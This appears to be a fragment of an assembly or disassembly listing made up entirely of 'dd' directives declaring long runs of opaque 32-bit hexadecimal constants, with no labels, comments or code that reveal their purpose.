dd 0B2F55DFCh, 2CC0C598h, 0D6DA61BEh, 95E3075Bh, 0B21C03B9h
dd 0DECA8020h, 23437CF9h, 0D488027Dh, 0F6F292E9h, 0D6906934h
dd 441D09F8h, 5749B943h, 4CDA8338h, 0EAE32F5Eh, 87861956h
dd 0BD9E5AD1h, 0E93C2F52h, 30E4CEFDh, 3B6E1E77h, 0B559CC1Dh
dd 0C501FE16h, 80C8B450h, 0F4CC27C4h, 0ECC01246h, 0F3E11608h
dd 59048D7h, 55AB1BDAh, 0B5D6A8C3h, 5200569Ah, 92103168h
dd 9395A11h, 58DDD5h, 367F1DFBh, 0B731DBE9h, 82CA5A79h
dd 7A4DA302h, 6946F453h, 67A26281h, 21AB43D3h, 0CB540E8Ch
dd 21187C15h, 3425A4D2h, 0E159E1BFh, 3FE7656Ah, 0E25B1CE2h
dd 3D5947Dh, 14E901C2h, 0D6532E9Eh, 748109Fh, 0E6B1515Bh
dd 80239192h, 7811777Fh, 0C8893EB9h, 6915E599h, 7B9662BBh
dd 79166F5Eh, 35789C99h, 0F8979420h, 0FAD22717h, 53CB1751h
dd 0E9EE04D0h, 0E289D4E3h, 2F8D9FC0h, 0A12FB3F0h, 8BBD2D6Bh
dd 4DDCA9C1h, 0BAD4A5FDh, 0D3005465h, 1907C8B8h, 3C050572h
dd 0F18DE6F8h, 0F4CF4185h, 8164F036h, 37BF105h, 41BE5CD9h
dd 0CF74BBFDh, 0C77D3031h, 0F6ECBE13h, 26B200BEh, 0CA290A96h
dd 43520990h, 655E00F4h, 610D6BD9h, 71142E4Eh, 1D35005Bh
dd 53BEE0Fh, 90DEDB09h, 8460F75Dh, 89E2BCF1h, 4FEAB558h
dd 34BEC384h, 0AE9072DFh, 0FAF5AD7h, 201A0D77h, 0AC19E665h
dd 875EC4E8h, 73DBE10h, 811E1F01h, 0E922B5E5h, 0F0692128h
dd 121D3D1Bh, 0B7E06EE9h, 0CD35C703h, 65D03D60h, 0B5071C20h
dd 52D0BA8Bh, 0FCB7CAA1h, 0E9101606h, 30125A78h, 17EAB8EBh
dd 8CEF226Bh, 5F82B8E3h, 75F49ED2h, 539A6654h, 0B850F9EEh
dd 7E4C766Bh, 0DA3113DAh, 6189C9E9h, 0ED92A356h, 987A53EEh
dd 8F2855E8h, 66FA8947h, 0B9F67582h, 55152B09h, 0CB01E8F9h
dd 346F06BFh, 0E9031285h, 1682EC38h, 3D64C801h, 0B85E49D8h
dd 619B2F75h, 0D5A74CF9h, 86DABA09h, 760DE912h, 5115C706h
dd 0DF5B97D9h, 0FE19EB07h, 7FBE56E0h, 5F982D54h, 0D6057B52h
dd 6A41E946h, 0B617DCAAh, 0B628C040h, 39C1089Fh, 47D82C0Fh
dd 534004D0h, 7C0F1B3h, 0C3FE07E3h, 0E9B92080h, 9EB234B0h
dd 0DA22650Bh, 4D13272h, 800226AEh, 0C37DB6EFh, 0BC830CDh
dd 6F30C2EBh, 390EFD37h, 0D2D1E4h, 7916755Dh, 0F551C069h
dd 8C5F25E1h, 67B3C8B2h, 0F82278EBh, 0C661C048h, 24936A51h
dd 102EA9Fh, 0A6E95A08h, 2520A735h, 285BFA3Ah, 4ADBEDC1h
dd 7AEEE149h, 3F9E1DA2h, 0FC2CF693h, 1FE96D5h, 8D5DF165h
dd 0BCE43F48h, 51E903C2h, 0D129690Fh, 3A1F36B1h, 2568AB38h
dd 0B4180812h, 81832D22h, 0C9C659C8h, 122150E5h, 807FD76Fh
dd 43D87E25h, 0B170CC1h, 127029EAh, 56CB26F6h, 0EDDE1589h
dd 0D4CE077Bh, 0B217FC63h, 595F8CB9h, 0E35547E6h, 0A74FCC3Eh
dd 442183E5h, 0AC351281h, 6A106938h, 1F222B04h, 0D8EC5E0Ch
dd 8F918501h, 4F14BA52h, 382828C9h, 92B8004Fh, 29B36124h
dd 0D2046C97h, 82080710h, 174F22Ah, 9E104248h, 681990B5h
dd 0AD724FE2h, 3805B156h, 0A238BD2Bh, 0A0A8C65Ch, 2715BA8Fh
dd 0DD7CEBh, 7B7A2598h, 2F6EC2Dh, 0D33D593Ah, 0AED4E6C1h
dd 1FD4FC0Fh, 1F345B2Dh, 145E7ECh, 0CD160144h, 2FFC2AE5h
dd 0C7E18DAh, 5935E8E2h, 0A01900E7h, 4BDBF775h, 0B74012C1h
dd 116BAD14h, 0B74ED51Eh, 7DC0C415h, 3877891Ch, 1098134Ch
dd 251C9060h, 0CF3E6Ah, 2E0C12Ah, 0AAEEE435h, 48A5F35Ah
dd 48061880h, 0E24742Dh, 47091175h, 518FB4h, 0AC1A4E04h
dd 0A2CA9769h, 475F080Bh, 2CE9057Dh, 6031EFC5h, 192EF9BEh
dd 3F098B8h, 2C06E8ACh, 4A66F409h, 19BD88BCh, 18C40C95h
dd 0EFB88012h, 0DF9C0B3Eh, 0B758ED4Ch, 0DCE90E2Dh, 0E789781Bh
dd 0A800742Bh, 340FC8Fh, 3ED58951h, 8635A002h, 0FD7E414Dh
dd 0CBB9E96Bh, 0E745D75Fh, 0D755548Ch, 6FA441EEh, 0EA2B7AE1h
dd 27E9CE7Ch, 37743674h, 952BBB50h, 0FF45F7F1h, 0EFD2A7ACh
dd 0C2BFAFD4h, 0AD5C12E2h, 0BD3ED8Fh, 5D8A2BD8h, 0EBF60802h
dd 0EF96FC57h, 18F14C86h, 3B196804h, 0AAAC261Ch, 0FE480517h
dd 0F42E2B99h, 335EE9BEh, 0C5BA0C00h, 95444B4Eh, 0BE8458h
dd 0C2A78418h, 1F9576A6h, 0FFD101BCh, 2A426F25h, 5AE77475h
dd 5175DDA9h, 798B4747h, 11B5BCCCh, 0DB7F34ABh, 325E2F43h
dd 0E6624091h, 59F1BC07h, 0AB173E6Eh, 6E99DFEh, 0C10BD580h
dd 8FC66644h, 0BC49D5Ch, 0BAC37ADDh, 0BCAF844Bh, 90C7F0E3h
dd 84C4642Eh, 123784CFh, 4AB8B808h, 27C15A91h, 27A6E72Bh
dd 0AA225F5Ch, 0FED310EEh, 67776884h, 821465AAh, 0F6553117h
dd 8979C958h, 648F5D2Fh, 4725AB26h, 0F474A420h, 28115584h
dd 0B36EF7F5h, 0CBEC5FB5h, 1344E90Bh, 768CF759h, 0BF79D11h
dd 31A30A6Eh, 0D9FD44F8h, 5BBD7817h, 0E27E182Dh, 467A4DBBh
dd 44F250DAh, 47ACE9Fh, 0CD0218B8h, 5752C041h, 0B769D6E9h
dd 3FC7D462h, 0B02DC0DEh, 0B4020C09h, 403E8C0h, 0C223758Dh
dd 22779819h, 990689Dh, 0B75A3F9Bh, 0B4ED7716h, 2D3CA5D6h
dd 9800DA75h, 0B1F18141h, 32660676h, 0F5DF0EE9h, 3DD7C504h
dd 0E8BBC3A5h, 1E5387E8h, 0D1F50108h, 60470F0Ah, 12E22F3Dh
dd 55A5725Eh, 985D0802h, 0C024087Eh, 260CF141h, 569F327Dh
dd 4A6A1140h, 483BCDFAh, 54B7665Eh, 0E97F92BDh, 0CA246F2h
dd 69093668h, 0F81F5B9Ch, 0F529B1BEh, 9CA55FFCh, 3FB9402Dh
dd 61F486Bh, 0D5CACA21h, 0F3AABD1Dh, 7EA10D20h, 5FA42442h
dd 1CA6A0AAh, 93C371E3h, 46F9004Ah, 0C148774Dh, 8B08EE28h
dd 95BBF80Ah, 9B00C707h, 150E804h, 802AB0F2h, 95BEE908h
dd 0DEF39168h, 2AA64316h, 8EC39200h, 20AF3252h, 4AB9DD29h
dd 3B084D24h, 67B51EDAh, 503DC875h, 34B305B0h, 0CBC528D2h
dd 0E80370D4h, 28BB2C59h, 6646FFD8h, 51DD254Eh, 9575F3C6h
dd 8346799Fh, 5DED730Fh, 0DE52984Bh, 41D313ABh, 8362F2E8h
dd 6A0C9E32h, 1D93A82h, 63F37DDFh, 4AE9D704h, 5168EACh
dd 7EE9F602h, 5C606531h, 656F5159h, 0DD16BAEDh, 5BE9136Ch
dd 9A80754h, 677872C3h, 5741A6C8h, 5501AF4h, 2D07405Dh
dd 31341599h, 744B2560h, 7E5E7BA9h, 48812D05h, 0BAE9CD60h
dd 0BFE1049Fh, 6B07A1FFh, 9FC5E2F4h, 0D32716F4h, 0C096137Ch
dd 9C3B9C4h, 497B232Fh, 693C994Bh, 0D36CB64Bh, 4498CDAEh
dd 0B403B923h, 0D70B6EC3h, 3FF56847h, 93BEE161h, 0DFA6A22Bh
dd 55732249h, 0B5685F38h, 0C9ED4A4Eh, 0F6F3E9A1h, 0E9F8F7DCh
dd 279A64FCh, 42D3E53Ch, 2BDC1B30h, 9F65D725h, 910DEB0Ch
dd 0C09B0BF2h, 3E7601B9h, 0B51DDD9Bh, 9A49FBB0h, 0D2D0FACBh
dd 6C9CFA1Bh, 0E7AAFE53h, 4D69EE2Eh, 0F65CD785h, 2FF2BFF1h
dd 0A164EA11h, 0BA3C0D97h, 55874FD6h, 0C31813A6h, 14ADEB4Ah
dd 0C1DF277Bh, 8A881AC6h, 2D023BBFh, 72E91CFBh, 936ADB15h
dd 60861E51h, 2CC0FE04h, 0C3EB53D4h, 0FEF5FDE4h, 257B5BB6h
dd 0E6CABB3Fh, 5E7B0DF0h, 0FDB2032Dh, 0BF57E610h, 4647E3Ch
dd 0E7C14707h, 893153C7h, 2EE374h, 164B60BEh, 6B013503h
dd 0E9112E6Ch, 903AA8C8h, 0C9B2B589h, 10B09E60h, 9D65FC60h
dd 882637Ah, 22582F7Eh, 0F744C6ADh, 254BC6DEh, 4D232E9h
dd 49214785h, 9042DFC7h, 7BB5FC55h, 59B1D001h, 0E7D10F0Ch
dd 0CFD3002Ah, 447839FDh
dd 0E2EFC137h, 322A3630h, 23ADA061h, 383EC553h, 0ADEA06C1h
dd 0ED4A750Ch, 0B87917FBh, 757A1864h, 1444F21Bh, 0B64AA084h
dd 6812025Ah, 0DAF12B43h, 181F8E30h, 2F1D793Ch, 73E35FFAh
dd 4EB9E45Fh, 87A5E90Ah, 8616BBA6h, 0B48F6A9h, 0D6295868h
dd 0DA2C6764h, 0FD2A832h, 5A3EBC41h, 0FE2131C5h, 450B8A75h
dd 1216DF22h, 2A40B6B0h, 0E22E0BBBh, 62FFF869h, 0C8457B7h
dd 2FBFA9A3h, 41BEEAEEh, 1692D080h, 0FE3BF5Bh, 1C18F13Fh
dd 0F681C39Fh, 0D64BF0Eh, 9CEC00Ah, 9045F83Eh, 523F2DC5h
dd 9DFF8E68h, 5F92B2B9h, 30E9DE2Ch, 0C689CBD1h, 14702224h
dd 8202CB9h, 72B1B0C4h, 0F2BF20BBh, 213E9004h, 510F96A6h
dd 9E9D87F8h, 45029254h, 0FE4CFE9Dh, 8858D902h, 0F6D17DE1h
dd 0BBE98086h, 21945806h, 0D3634633h, 26C80CE1h, 106B48FFh
dd 0D11F765Ah, 16779AE2h, 0C6A6C511h, 3B097DDAh, 0AB417B25h
dd 0FD427FEFh, 5511C4D5h, 5862A5D1h, 430BCC07h, 4C45D22Eh
dd 5BDE47E8h, 2F5F6C98h, 4E7B54B7h, 0B321006Bh, 0BBCB8045h
dd 4EBC016h, 0EE580BFBh, 3C45E2DBh, 1049C954h, 3128AE90h
dd 0EB0827EFh, 74A54DC5h, 1E8ECFBBh, 24068D25h, 5C081AD2h
dd 30DFF629h, 97FE4790h, 0FD3B1A5Dh, 0F5012DC0h, 77691E99h
dd 684111F9h, 4F986C5Fh, 0F680C1ACh, 0C60CA073h, 0ACEFEBAh
dd 8EE91B1Bh, 43782A39h, 0D160F727h, 69D74337h, 12FB954Bh
dd 58C2BACCh, 248D82DDh, 0CB5B0564h, 8DE95A42h, 0BF5E789h
dd 45C65560h, 0E92513F8h, 5D2D0329h, 0A24D8B05h, 0AC82FF11h
dd 5E02C76Dh, 2EAA8046h, 0A0260D4Ah, 2E3F90A8h, 13F93B42h
dd 853E463Eh, 1620BB0Ch, 0C4B009D6h, 6C0BC328h, 0F38082DDh
dd 0FC8ED88Eh, 0C7459F49h, 0FFB99F04h, 0AD0BECBEh, 0C2B8E82Eh
dd 9452DCE9h, 137884A3h, 300E5168h, 6B2524Fh, 0E97801B5h
dd 0C02C0337h, 3CDBB9C0h, 814F3A25h, 76133BF8h, 0B2F60105h
dd 3A230A1Bh, 0AC4807FEh, 5818104Dh, 134A6968h, 0E16F234h
dd 5A8B9D88h, 0D24C283Ch, 0D6B9265Fh, 2C8B57CFh, 0F7368B5Fh
dd 0C1D780B2h, 0BC7D0D64h, 2D5DBD30h, 47671BF4h, 7DABCAECh
dd 0D42124B2h, 0A29FB353h, 0D59DFC10h, 27563900h, 86A14CD8h
dd 2CBE78F7h, 2E0D3A89h, 0FD679D30h, 434708D2h, 4F907025h
dd 4E89CA58h, 0CFDC29ABh, 0F8476081h, 1814CFE2h, 0F728ABh
dd 21ED4180h, 4F07EAC1h, 0FF43C142h, 0A9E9E030h, 820DDD58h
dd 5F42447Ch, 5A687121h, 28286F6Ah, 0E3E64CE9h, 6D5410C1h
dd 684081D4h, 0F76B6919h, 0CC20B2Ah, 474BF07Bh, 4E0A0993h
dd 0AC663CF5h, 7523A274h, 0F920FA52h, 94BD0060h, 21357667h
dd 61955DEAh, 13B2DA5h, 5AF188F3h, 0EDC8D150h, 5E43460h
dd 590F6407h, 2DC52936h, 0FE6D071Dh, 66D5A760h, 98E91740h
dd 0DAE9213Dh, 0B8EA0487h, 10667EF6h, 4BADF4D1h, 1748AD2Dh
dd 34BFC289h, 84A080A1h, 926C320h, 4A16F583h, 1586790Dh
dd 9705B22Eh, 135BB8F0h, 0EE103162h, 0FA4CE081h, 78DEA22Bh
dd 0E7891B01h, 59CE098Eh, 35F498E7h, 0E86F581Eh, 8F50F501h
dd 25E8E949h, 0F5A72E8Dh, 0CCCDFFD3h, 35F2B6AFh, 0C1BAFEB5h
dd 6BC3B6E9h, 3E7CFA41h, 0DF70525Ch, 61680271h, 24C7E921h
dd 4219855h, 0F0281DEFh, 0BF983F2Ch, 87D3CD3Bh, 5304DD60h
dd 1B5F5B57h, 0A7426E68h, 0F9FF3C27h, 7E90BDBh, 7C046B6Bh
dd 3E336ACCh, 2A13CC3h, 162DC5E7h, 0E05E05E0h, 0B5769128h
dd 2310B724h, 5FB9430Bh, 0ABB42CB4h, 5DA8095Ah, 59D7C642h
dd 2F43425Ch, 472420F1h, 933250Ah, 75916BCh, 921707F3h
dd 4065B34Ch, 475E8F14h, 0C2C924Fh, 9721393Dh, 97D91655h
dd 162ECBE8h, 0EE552585h, 84BAA527h, 0C84026E9h, 0F441CBA2h
dd 0E83FEB61h, 0B042ADCAh, 11EC7F18h, 6A786813h, 81FE29FAh
dd 415BBB32h, 5A8A732Ch, 0DFA0984h, 30B052E9h, 88ECC784h
dd 0EDE1C25Ah, 0F92809F5h, 28892C01h, 0D6B151E8h, 65F28BC1h
dd 2F1471BAh, 83ACABF8h, 0E9FFEE04h, 0CEEA4312h, 0E3BD038Bh
dd 0F07DB31Dh, 33B48CDh, 0E9534CA1h, 0AE85572Bh, 0C13E33E3h
dd 0DF7C0B33h, 687A5654h, 0B47BF824h, 20C95AD2h, 0C998852Fh
dd 5BB8EB4Dh, 33A369A8h, 0E2E9BA13h, 443C98F9h, 59580C0Fh
dd 6555AE69h, 347D3F56h, 0EA312C14h, 4E0377F0h, 856827E7h
dd 8EAED5D3h, 1592D8Bh, 0FD39F80Ch, 4161E62Eh, 2E2E1FBh
dd 32596459h, 57B02958h, 0C89FD0F0h, 58B8E93Ch, 0A99726D3h
dd 7FB95EDFh, 0C3282C4Eh, 0E23A0541h, 7EF1FA8h, 0A004F3Ch
dd 6F558C0Dh, 0B88FBD79h, 0B20C2AA5h, 0D7542709h, 2CB22567h
dd 0EB0F0984h, 85C2BE72h, 295C5DE3h, 7A539F74h, 0B55B4CEBh
dd 24142A42h, 53685480h, 0F1ED264Fh, 1333F684h, 52BEBB12h
dd 106CACC3h, 572FBB30h, 4FABD4B0h, 5569199Eh, 0BB6F8624h
dd 495463A7h, 0B45D08A8h, 0DC200135h, 0DC040A8Ah, 55530018h
dd 26160968h, 4401B74h, 0C43B3ACDh, 0DDA0AFE6h, 97C90BF5h
dd 10DF3DB8h, 81B5EAFCh, 70002B29h, 40BA7780h, 437BBD5Ah
dd 56DE8939h, 20A07A59h, 5F12A81Ch, 37BDF731h, 0D4E94781h
dd 0D3DD2F62h, 0AC67B86Eh, 5D6960E9h, 890A4505h, 69810B4Fh
dd 132BFB11h, 0C12B01FDh, 214A1036h, 248A303Fh, 40F4B80Fh
dd 0B7F63629h, 1955FB25h, 0E1205298h, 972C0B6Dh, 40028963h
dd 0B77C9CE9h, 125E5224h, 0B9CAAFE9h, 0BF0A1062h, 14368861h
dd 0E6E842DEh, 0EAEADE63h, 0C6C11B6Ah, 13712BA6h, 8A2E5FF8h
dd 23B69293h, 292099D0h, 10B2875Ch, 5D272FB1h, 65277E54h
dd 45FA27E1h, 0D873D495h, 8980332Fh, 206812C3h, 123EF342h
dd 0A2FA2F90h, 92FAD60Dh, 40DE92ABh, 174F5488h, 182DBB31h
dd 7BC3C800h, 541D484Bh, 0C33A471Dh, 6DF9E97Dh, 0FAB93825h
dd 0BE295BF1h, 0DA56C65Ch, 0DDB6E162h, 0B1010D66h, 86C9FED3h
dd 0E9D8F6D9h, 0E3687FD7h, 53ECA759h, 0B17595BAh, 66CD84B0h
dd 0E9D7D004h, 799AA094h, 9F9ADA50h, 5C264702h, 0F15AD301h
dd 685E8250h, 9D5956F3h, 0BD373682h, 0DD346A38h, 0B0B706Ah
dd 4357E409h, 2E514808h, 0AD420530h, 6FEEB951h, 5434D22Dh
dd 9FFE2575h, 18C36861h, 4878B351h, 8CE08103h, 74489A2Eh
dd 42BF0415h, 0B8BE7EEBh, 58C51227h, 0ED809265h, 0BFFB08E9h
dd 0CB48E356h, 961DD602h, 91AEC007h, 0BD23BBF6h, 18CED2Fh
dd 14194DA4h, 8A7E5445h, 4B7B7AC0h, 64CAE049h, 7C1A592Dh
dd 6FFC830Ah, 9C046B1Bh, 0D751E2F2h, 0FF20C6AFh, 0F0EF63BDh
dd 1E8107E3h, 1DAA02F3h, 89EA813Dh, 0CE556001h, 1208C4A8h
dd 90B8A5Bh, 7572D8E9h, 6842E15Bh, 6CD17764h, 12B04693h
dd 67309BDh, 49001625h, 4CC104E5h, 17B0E8C0h, 0C091CD9h
dd 0D2FFE9CDh, 2C77AC30h, 5105D8E0h, 0ED8043B5h, 9C89AD83h
dd 1EED8CAAh, 60427C41h, 0C76C5DFBh, 2212922Dh, 0F31758E4h
dd 9DA310E7h, 54250210h, 65B5B6FDh, 0D5478052h, 7B2EBA17h
dd 4A9DA65Ah, 0C9CC7E91h, 94A0EA04h, 0DEEFF4E8h, 685707AFh
dd 0A4667BF6h, 0F17C4316h, 0E22744B8h, 6827BA4Eh, 49C7DE5Ch
dd 871FA567h, 0BE42C700h, 1938DB7Dh, 8951E9BDh, 6EEC7F33h
dd 4D0176E1h, 4DBB20B8h, 98244A5Fh, 1EACD20Fh, 2B95D76Dh
dd 0E463E905h, 1C9E51ADh, 32D72F29h, 6771D77Eh, 523754A5h
dd 0E90C1E5Bh, 1B44719h, 80D4F657h, 2E30D0ECh, 4F42ABE8h
dd 4DF35CA3h, 0C07CEFAAh
dd 5AF07B3Ah, 43665224h, 88503903h, 0E9E690ECh, 14329E9Eh
dd 2C7A5A53h, 434FD10Bh, 69031FEEh, 0A00C01CFh, 2EFB07Bh
dd 8AB30496h, 0A204B2E9h, 0DC5B8965h, 0E4FC2AFh, 0DEA72956h
dd 0AA5816F8h, 5A318D8Ah, 4C427676h, 370FB8D8h, 0A5781464h
dd 0DC343605h, 0A55F5A0Fh, 8CEF2EF4h, 53D60156h, 6F506A1h
dd 4120BB01h, 6BB1F34Ah, 0C8A77B49h, 1253EAB6h, 0ACA34289h
dd 0E2A84EAAh, 2771E9C2h, 0BF3820FFh, 98A925ABh, 0A5F73F6Fh
dd 8BD7882Dh, 0BB472F8h, 9BCFC287h, 0B0F9C55Fh, 0A74A144h
dd 54C12BBFh, 0F10D969Ah, 29F7DA16h, 5327B110h, 20C9B93Ah
dd 0AAE91401h, 68C29AA1h, 0B0776038h, 4B376356h, 5EBFC05h
dd 69277307h, 0FA89F4FBh, 631D4E1Fh, 48AC86FCh, 401E329Dh
dd 12126D05h, 90AF617Fh, 931F0A2Fh, 4C311012h, 86C4E3E8h
dd 0DCF6075Ch, 0F7915B75h, 69C80D59h, 301A7BE2h, 5F24AB70h
dd 5B13DA21h, 8316EAD1h, 0B2EA9884h, 5427CB62h, 0BD993A0h
dd 1AF51561h, 9D497550h, 0E788CA5Fh, 2DAAA8B0h, 72F38E8Fh
dd 5B0BA738h, 0BAE9852Eh, 6891D065h, 3BE17B9Ch, 3A0B29FEh
dd 0F0047916h, 580AD769h, 1C1602A8h, 79FE26C6h, 0A7F7B27h
dd 60CD80F2h, 41F0BE56h, 1810B33Fh, 681CCFA4h, 0CB4F4B07h
dd 0DFE04E9Eh, 0A3EF5A2Dh, 29009D1h, 0FEA75515h, 6B6281E7h
dd 48DFE172h, 0FAE0EFDBh, 0DE959BFEh, 0E380C9B7h, 4ABB31FEh
dd 3EED8101h, 0D17ED02Bh, 0F26DC0DAh, 436917E5h, 0D8A80421h
dd 0B477EB79h, 8856026Bh, 0C1090112h, 9EBD4158h, 956B1614h
dd 62379AFFh, 0C8DBF7E4h, 41C0E909h, 0CD41B91Bh, 85E87BE5h
dd 80AC9C1Dh, 2AFD6B59h, 2FFFC145h, 0F0824F0h, 31413909h
dd 0E6185FADh, 3A838660h, 8C35EF31h, 0D4399AABh, 3F976610h
dd 9DF6B980h, 0C78095F7h, 30AFB5A0h, 0B75B70FDh, 3E58170Eh
dd 33C43E77h, 1EEB79F3h, 0A138D76Ch, 0F09C32B6h, 0E2FE42E9h
dd 0AF4E9DFFh, 9154BBFAh, 0CAEED1E9h, 7A0E086Bh, 70169DC3h
dd 40527A9Ch, 0CBBE995Dh, 3957FB49h, 0AB2A4439h, 84D46924h
dd 0A66EA8AEh, 0BDF126AAh, 0CBDD4981h, 6FBCDCE8h, 270EA84Fh
dd 7DD9C2BCh, 8BE27065h, 27EEF138h, 1C20C4D7h, 2F5D9868h
dd 9EF01675h, 9982062h, 22A04D43h, 0CDE63370h, 3F020E09h
dd 95BB004Fh, 121DA243h, 0BAC6C3E9h, 61E80932h, 962FC84Dh
dd 0E97A08C3h, 0C0C5C548h, 68555057h, 64390285h, 0DDF75D6Eh
dd 0CC7C8040h, 0C3D6BC25h, 58C799EBh, 5283829Dh, 0A5F5FF01h
dd 16158B30h, 96F8220h, 5A10A672h, 1760518Ah, 7904CA61h
dd 0E95D096Ah, 9ED52ED9h, 4A2B200Ch, 39EEE990h, 180D3C4Dh
dd 0E0237AA3h, 0ED51BD12h, 0CBBD5588h, 5B9A4375h, 0A904AA0Ch
dd 58C1E901h, 0FE59314Ah, 3574AA2Ah, 4E0CD904h, 8E7BB900h
dd 1FF4FB2Ch, 75B70A4Fh, 0AAEAE982h, 0AA910D46h, 75674509h
dd 471AC418h, 0A5C8F9B5h, 104208F5h, 7EF7870Bh, 315A6203h
dd 7F84DA09h, 95FE7209h, 0F7525956h, 56028D45h, 7971D5E9h
dd 0DD65AFAEh, 5B686602h, 0B0105733h, 609D3EB3h, 4DE952F8h
dd 81014564h, 0EF7BC8E6h, 0D20C804Fh, 0E967636Dh, 0CEE24DCDh
dd 0C2265A81h, 20E6657Dh, 0AB04DBC4h, 0FD89E148h, 3F20F050h
dd 14262D3Bh, 3CD3B587h, 839662BDh, 9B3543EBh, 0FF08DA02h
dd 770B11A9h, 54EDA97Dh, 0BF18A8C8h, 260BE75Bh, 6F3C9E1h
dd 0F60D9020h, 0F65DCD03h, 63E4E8E8h, 0ECF08EA6h, 6813D6B2h
dd 0EEAC7489h, 2A502DC6h, 673E70BFh, 38BB92Ah, 8028329Eh
dd 94B50705h, 5D58BD2Ah, 9340962Ah, 0FCECC15Ah, 0FA92583Dh
dd 5EE7BBBFh, 8B4EBC5Ah, 1D74D499h, 162F8581h, 2817BA28h
dd 8B08C5FAh, 0F90118AAh, 167C3222h, 3521A68h, 0B142155Ch
dd 0DACBD1D7h, 0D836D925h, 3E1B29E3h, 0A0182A86h, 0A012D813h
dd 0E7D1FFBEh, 0B382720h, 89E693E4h, 0F02E0125h, 65246864h
dd 648B7F6Bh, 0A8145504h, 0BCC581B7h, 0DB45264Ch, 0CA41C5BCh
dd 0B6E90A01h, 0EB4E656Ch, 1915838Fh, 933BCB43h, 40BE0243h
dd 0DF3AFA0Ah, 0DE579562h, 99E99DD2h, 3EC657CAh, 5B7BEDACh
dd 0B8B70B3Dh, 0C2F111FFh, 0E7B94CC6h, 535FEE3Ah, 7D8CD7A7h
dd 1A25F70Ch, 588EDD2Ch, 0E9130854h, 0C0E4C36Ah, 0B55103E8h
dd 0E5767A76h, 1628073h, 4066E306h, 0B030F7ADh, 0EF4B6925h
dd 19E6610Fh, 0C50472ABh, 0A80BF0B2h, 664EAB82h, 0E82937E9h
dd 0B074672Ch, 65DF0513h, 875EDA24h, 2F072D14h, 1F0BEC5Dh
dd 1FA76856h, 0B5DB7F90h, 1708BE63h, 77CA587Ch, 9A3AD4Fh
dd 5F4CE32Bh, 0FE291A82h, 90986Ch, 286C9F48h, 0ABE08145h
dd 98555B80h, 0EC4695Bh, 84B74A01h, 0EFFA9F52h, 6AD5614Ah
dd 0C27A79A5h, 980FB8FEh, 73F48027h, 983DECF7h, 20F82548h
dd 0A2BDC9A7h, 3561736Fh, 0E5896003h, 68BA2E05h, 8CC4F931h
dd 9B221E87h, 9C97A16h, 9CC3F13h, 0F9ABC789h, 9822DF78h
dd 0C1E4B5E5h, 249E3998h, 2B242C2Ah, 2C0BC7FDh, 3DF68412h
dd 0DAB45003h, 0FA84A83Dh, 7EBA86A9h, 443FF9E5h, 0D044F7E9h
dd 0F03058B9h, 0B34DB195h, 0A94E7778h, 0D9FBB4D0h, 5B633C0Bh
dd 681220BCh, 784CF37Bh, 0EF5DDF29h, 170F1EA8h, 0CE7F6907h
dd 4C96931Eh, 93199D3h, 30D749CAh, 8647578Fh, 5B45544Ah
dd 8CEE22DAh, 0D00EB77h, 161B857h, 2BA52CBh, 7FA0228Fh
dd 5CC2C8E9h, 536AFC12h, 0FB70F8DEh, 0F63C5A8Bh, 506F98CDh
dd 4F433168h, 23F2DAC5h, 96303C38h, 0E3406A1Ch, 258508EAh
dd 1C12D83h, 4E38B620h, 0F1EC2018h, 7AFF3909h, 0B350DFFAh
dd 68DB6E27h, 2D08B4A0h, 0CB481FABh, 9BBF3A33h, 34C8CCEAh
dd 7849B7C2h, 0AD9B2B5Eh, 0FEC9AF4Eh, 31416E89h, 2F4B8A5Eh
dd 9994642Dh, 18CA0693h, 69B3BF26h, 4C13FEC5h, 0C0BF5C42h
dd 15E9C315h, 923D5196h, 2709E3C1h, 57A0C2FAh, 1B706DFCh
dd 0B492B547h, 822A8477h, 0BBBC35FBh, 0C83A3EC7h, 2EB66884h
dd 0E81499ABh, 0E69D4920h, 17DE0705h, 20350F12h, 0D27F851h
dd 0D746F60Ch, 9F73C611h, 681318C6h, 9ECA4B92h, 13D0B65Eh
dd 60BB2868h, 0F617E20Bh, 4EAECC4h, 9DAFDAEh, 0F7C56D4Bh
dd 51DF7E41h, 3CFA018Ah, 42907C90h, 14C7250Eh, 0B7891E3Fh
dd 0FFD15DF2h, 0E9A41069h, 25F560C0h, 0FE1CD1C3h, 2C82F795h
dd 0FD0B2E48h, 0C54BE446h, 289DF180h, 472C260Ch, 1819024Ch
dd 246950A2h, 256A6526h, 0F5EC7ADEh, 0F69B344Bh, 5AD01296h
dd 0DDD646AAh, 0CA2ED97Eh, 0E3082D57h, 0B65F167Ah, 25BC188Ah
dd 0BC5EF041h, 0AE59696Eh, 781FE98Bh, 0D43005E2h, 0A4DCF65Ah
dd 58814ABEh, 910AF02Fh, 3571AD41h, 0A6DFA92Fh, 10B9025Eh
dd 2911974Eh, 605AA2DCh, 3E6E86CEh, 0EE0075F8h, 620105EAh
dd 615BDBE9h, 485485C9h, 119E808h, 0C869FCB9h, 0E1B34070h
dd 722D2150h, 0A3301601h, 0FF6DF824h, 97C89D72h, 312A282h
dd 0AE1829A5h, 586FF87Ah, 0FE1364EFh, 0CF7FFC97h, 0CF3C7E4Fh
dd 5C6B539Fh, 57003674h, 0E92FA77Fh, 3C4D6B21h, 0CB09667Ch
dd 4BC44630h, 0B9AEB429h, 4C4B43F2h, 125D9FF4h, 0B70FCCE9h
dd 0D829007Dh, 354E322Dh, 1242BC7Ch, 12080850h, 0F83B301Eh
dd 0A3F4159h, 0AEDF6376h, 0D72EA0Dh, 846E45FDh, 12A2BA8Fh
dd 0EF4064CBh, 80005B66h, 0EA2898F5h, 0B0CAFE59h, 4A254078h
dd 20876497h, 0C89F1038h, 9F64D863h, 9C9055Eh, 2D68EE3Dh
dd 19624A68h, 55BA3AF5h
dd 1059EEC1h, 14F4DB8h, 9C3542CCh, 0FC106B6Dh, 7991457Dh
dd 0F1ACABC2h, 7A3896Bh, 348BF27Bh, 0CAD2D14Ch, 86642593h
dd 7797779Ah, 0CDA60E96h, 0D75DEB25h, 133BC7CFh, 0C7640B09h
dd 372104C1h, 611EE804h, 0CF7D1D3Eh, 55541871h, 0A549081Dh
dd 6CFA240Ah, 2B68E7D8h, 7A34C12h, 0C27D2B60h, 99D0B9E9h
dd 9FFBB4Eh, 79F58933h, 5A05617Bh, 51DD305Ch, 5E4A1DB0h
dd 0E7A2B6ADh, 689518F7h, 16659F3h, 0EF490A81h, 3922F475h
dd 8421D995h, 80C91BC1h, 37A0F1B9h, 0CA7FD224h, 3EB605BCh
dd 830232C0h, 62EA7CACh, 6C928DD9h, 2C089860h, 12C15BFEh
